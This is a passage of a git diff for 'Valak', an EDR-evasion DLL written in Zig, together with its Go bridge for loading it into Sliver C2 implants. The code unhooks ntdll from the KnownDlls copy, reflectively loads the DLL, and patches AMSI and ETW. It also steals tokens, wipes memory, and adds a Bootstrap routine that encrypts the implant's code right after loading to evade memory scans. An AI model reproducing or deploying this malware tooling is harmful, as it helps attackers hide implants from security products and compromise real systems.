const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@alignCast(our_bytes)));
|
||||
if (dos.e_magic != 0x5A4D) return;
|
||||
|
||||
@@ -42,7 +30,11 @@ pub fn unhookNtdll() void {
|
||||
var text_size: usize = 0;
|
||||
const section_off = dos.e_lfanew + 4 + 20 + 240;
|
||||
const sections = @as([*]align(1) extern struct {
|
||||
Name: [8]u8, VirtualSize: u32, VirtualAddress: u32, pad: [12]u8, Characteristics: u32,
|
||||
Name: [8]u8,
|
||||
VirtualSize: u32,
|
||||
VirtualAddress: u32,
|
||||
pad: [20]u8,
|
||||
Characteristics: u32,
|
||||
}, @ptrFromInt(@intFromPtr(our_bytes) + @as(usize, @intCast(section_off))));
|
||||
for (0..nt.FileHeader.NumberOfSections) |i| {
|
||||
if (std.mem.eql(u8, sections[i].Name[0..5], ".text") and sections[i].Name[5] == 0) {
|
||||
@@ -53,12 +45,11 @@ pub fn unhookNtdll() void {
|
||||
}
|
||||
if (text_va == 0 or text_size == 0) return;
|
||||
|
||||
// Open \KnownDlls\ntdll.dll section object
|
||||
const name = [_:0]u16{ '\\', 'K', 'n', 'o', 'w', 'n', 'D', 'l', 'l', 's', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0 };
|
||||
var us: win.UNICODE_STRING = .{
|
||||
.Length = (@sizeOf(@TypeOf(name)) - 2),
|
||||
.MaximumLength = @sizeOf(@TypeOf(name)),
|
||||
.Buffer = @constCast(@ptrCast(&name)),
|
||||
.Buffer = @ptrCast(@constCast(&name)),
|
||||
};
|
||||
var oa = std.mem.zeroes(win.OBJECT_ATTRIBUTES);
|
||||
oa.Length = @sizeOf(win.OBJECT_ATTRIBUTES);
|
||||
@@ -70,42 +61,48 @@ pub fn unhookNtdll() void {
|
||||
return;
|
||||
defer _ = syscall.nt_close(section_handle);
|
||||
|
||||
// Map the section into our process
|
||||
var view_base: ?*anyopaque = null;
|
||||
var view_size: win.SIZE_T = 0;
|
||||
_ = syscall.nt_map_view_of_section(
|
||||
section_handle, syscall.nt_current_process(),
|
||||
&view_base, 0, 0, null, &view_size, 2, // ViewUnmap = 2
|
||||
0, win.PAGE_READONLY,
|
||||
section_handle,
|
||||
syscall.nt_current_process(),
|
||||
&view_base,
|
||||
0,
|
||||
0,
|
||||
null,
|
||||
&view_size,
|
||||
2, // ViewUnmap = 2
|
||||
0,
|
||||
win.PAGE_READONLY,
|
||||
);
|
||||
|
||||
if (view_base != null and view_size >= text_size) {
|
||||
// Copy clean .text from mapped section to our process's ntdll
|
||||
const clean_base = @as([*]u8, @ptrCast(view_base));
|
||||
const our_text = our_bytes[text_va .. text_va + text_size];
|
||||
|
||||
// Make our .text writable for the copy
|
||||
var region_size: win.SIZE_T = text_size;
|
||||
var old_prot: win.DWORD = 0;
|
||||
var base_ptr: ?*anyopaque = @ptrCast(&our_bytes[text_va]);
|
||||
if (!win.NT_SUCCESS(syscall.nt_protect_virtual_memory(
|
||||
syscall.nt_current_process(),
|
||||
&base_ptr, ®ion_size,
|
||||
win.PAGE_READWRITE, &old_prot,
|
||||
&base_ptr,
|
||||
®ion_size,
|
||||
win.PAGE_READWRITE,
|
||||
&old_prot,
|
||||
))) return;
|
||||
|
||||
@memcpy(our_text, clean_base[0..text_size]);
|
||||
|
||||
// Restore protection
|
||||
base_ptr = @ptrCast(&our_bytes[text_va]);
|
||||
region_size = text_size;
|
||||
_ = syscall.nt_protect_virtual_memory(
|
||||
syscall.nt_current_process(),
|
||||
&base_ptr, ®ion_size,
|
||||
win.PAGE_EXECUTE_READ, &old_prot,
|
||||
&base_ptr,
|
||||
®ion_size,
|
||||
win.PAGE_EXECUTE_READ,
|
||||
&old_prot,
|
||||
);
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
if (view_base) |b| _ = syscall.nt_unmap_view_of_section(syscall.nt_current_process(), b);
|
||||
}
|
||||
|
||||
+3
-3
@@ -1,4 +1,4 @@
|
||||
// Win32 type aliases, constants, and struct definitions ??? data layout only, no function types.
|
||||
// Win32 type aliases, constants, and struct definitions.
|
||||
const std = @import("std");
|
||||
|
||||
pub const WINAPI = std.builtin.CallingConvention.winapi;
|
||||
@@ -47,7 +47,7 @@ pub const PULONG = *ULONG;
|
||||
pub const PSIZE_T = *SIZE_T;
|
||||
pub const PBOOL = *BOOL;
|
||||
|
||||
pub const FARPROC = *const fn() callconv(WINAPI) isize;
|
||||
pub const FARPROC = *const fn () callconv(WINAPI) isize;
|
||||
|
||||
pub inline fn NT_SUCCESS(status: NTSTATUS) bool {
|
||||
return status >= 0;
|
||||
@@ -85,7 +85,7 @@ pub const STARTUPINFOEXA = extern struct {
|
||||
|
||||
pub const CREATE_NO_WINDOW: DWORD = 0x08000000;
|
||||
|
||||
// Section access rights ??? for NtOpenSection / NtMapViewOfSection
|
||||
// Section access rights for NtOpenSection / NtMapViewOfSection
|
||||
pub const SECTION_MAP_READ: DWORD = 0x0004;
|
||||
pub const SECTION_MAP_WRITE: DWORD = 0x0002;
|
||||
pub const SECTION_MAP_EXECUTE: DWORD = 0x0008;
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
//go:build evasion && windows
|
||||
|
||||
// Generated by valak build.zig — zig build && zig-out/bin/valak.dll
|
||||
// Generated by valak build.zig. Build and paste bytes here.
|
||||
// Replace this with the compiled DLL bytes before building.
|
||||
package valak
|
||||
|
||||
|
||||
+33
-19
@@ -1,15 +1,7 @@
|
||||
//go:build evasion && windows
|
||||
|
||||
// Go bridge for the Valak evasion DLL. Embeds the compiled valak.dll, reflectively
|
||||
// loads it into the current process, resolves exports, and provides clean Go functions.
|
||||
//
|
||||
// Integration with Sliver:
|
||||
// 1. Copy this package into implant/sliver/evasion/valak/
|
||||
// 2. In your Sliver implant init, call: valak.Start()
|
||||
// 3. Replace time.Sleep(d) with: valak.EvasionSleep(d)
|
||||
//
|
||||
// The DLL handles: RC4 .text encryption, NtDelayExecution via indirect syscall,
|
||||
// stack return-address zeroing, and all other evasion in the background.
|
||||
// Go bridge for Valak evasion DLL. Reflectively loads the embedded DLL,
|
||||
// resolves exports, provides Go API for Sliver implant integration.
|
||||
package valak
|
||||
|
||||
import (
|
||||
@@ -39,6 +31,8 @@ var (
|
||||
procWipeMemory uintptr
|
||||
procStealToken uintptr
|
||||
procRev2self uintptr
|
||||
|
||||
valakSize uintptr
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -144,6 +138,7 @@ func loadDLL() error {
|
||||
return fmt.Errorf("VirtualAlloc: %w", err)
|
||||
}
|
||||
dllBase = base
|
||||
valakSize = sizeOfImage
|
||||
|
||||
copy(unsafe.Slice((*byte)(unsafe.Pointer(base)), sizeOfHeaders), data[:sizeOfHeaders])
|
||||
|
||||
@@ -356,10 +351,7 @@ func goString(addr uintptr) string {
|
||||
// Start loads the DLL and patches AMSI/ETW. Call once at implant init.
|
||||
func Start() { go loadDLL() }
|
||||
|
||||
// EvasionSleep replaces time.Sleep with RC4-encrypted sleep + callstack spoofing.
|
||||
// During sleep: Go .text + DLL .text encrypted via SystemFunction032. Stack return
|
||||
// address zeroed so EDR frame walks terminate below us. Wake: decrypt, restore return
|
||||
// address, return cleanly.
|
||||
// EvasionSleep replaces time.Sleep with ChaCha20-encrypted sleep and synthetic callstack frames.
|
||||
func EvasionSleep(d time.Duration) {
|
||||
ms := uint32(d.Milliseconds())
|
||||
if dllLoaded && procSleep != 0 {
|
||||
@@ -369,7 +361,7 @@ func EvasionSleep(d time.Duration) {
|
||||
time.Sleep(d) // fallback
|
||||
}
|
||||
|
||||
// InitText tells the DLL where our Go implant's .text lives for RC4 encryption.
|
||||
// InitText tells the DLL where our Go implant's .text lives for encrypted sleep.
|
||||
func InitText() {
|
||||
if dllLoaded && procInitText != 0 {
|
||||
if base, size := findOwnTextSection(); size > 0 {
|
||||
@@ -378,8 +370,8 @@ func InitText() {
|
||||
}
|
||||
}
|
||||
|
||||
// PatchAll runs the full evasion init: stomp -> unhook -> ETW -> AMSI.
|
||||
// Sliver typically calls this in an init goroutine after Start().
|
||||
// PatchAll runs the full evasion init: stomp, unhook, ETW, AMSI.
|
||||
// Call after the DLL finishes loading.
|
||||
func PatchAll() {
|
||||
if !dllLoaded {
|
||||
return
|
||||
@@ -408,6 +400,28 @@ func PatchAll() {
|
||||
InitText()
|
||||
}
|
||||
|
||||
// Bootstrap loads the DLL, patches evasion, inits text encryption, and does
|
||||
// an immediate encrypted sleep to clear the post-load memory scan window.
|
||||
// Blocks until DLL is ready or 10s timeout. Call once at Sliver implant start.
|
||||
func Bootstrap() {
|
||||
go loadDLL()
|
||||
for i := 0; i < 100; i++ {
|
||||
if dllLoaded {
|
||||
break
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
if !dllLoaded {
|
||||
return
|
||||
}
|
||||
PatchAll()
|
||||
// encrypt .text immediately to clear post-load scan window
|
||||
// Without this, the implant's .text is unencrypted for the first beacon interval.
|
||||
if procSleep != 0 {
|
||||
syscall.SyscallN(procSleep, uintptr(2000))
|
||||
}
|
||||
}
|
||||
|
||||
func StealToken(pid uint32) bool {
|
||||
if procStealToken == 0 {
|
||||
return false
|
||||
@@ -435,8 +449,8 @@ func Cleanup() {
|
||||
if procUnpatchETW != 0 {
|
||||
syscall.SyscallN(procUnpatchETW)
|
||||
}
|
||||
if procWipeMemory != 0 {
|
||||
syscall.SyscallN(procWipeMemory)
|
||||
if procWipeMemory != 0 && dllBase != 0 {
|
||||
syscall.SyscallN(procWipeMemory, dllBase, valakSize)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@ package valak
|
||||
|
||||
import "time"
|
||||
|
||||
func Start() {}
|
||||
func Bootstrap() {}
|
||||
func EvasionSleep(d time.Duration) { time.Sleep(d) }
|
||||
func InitText() {}
|
||||
func PatchAll() {}
|
||||
|
||||
Reference in New Issue
Block a user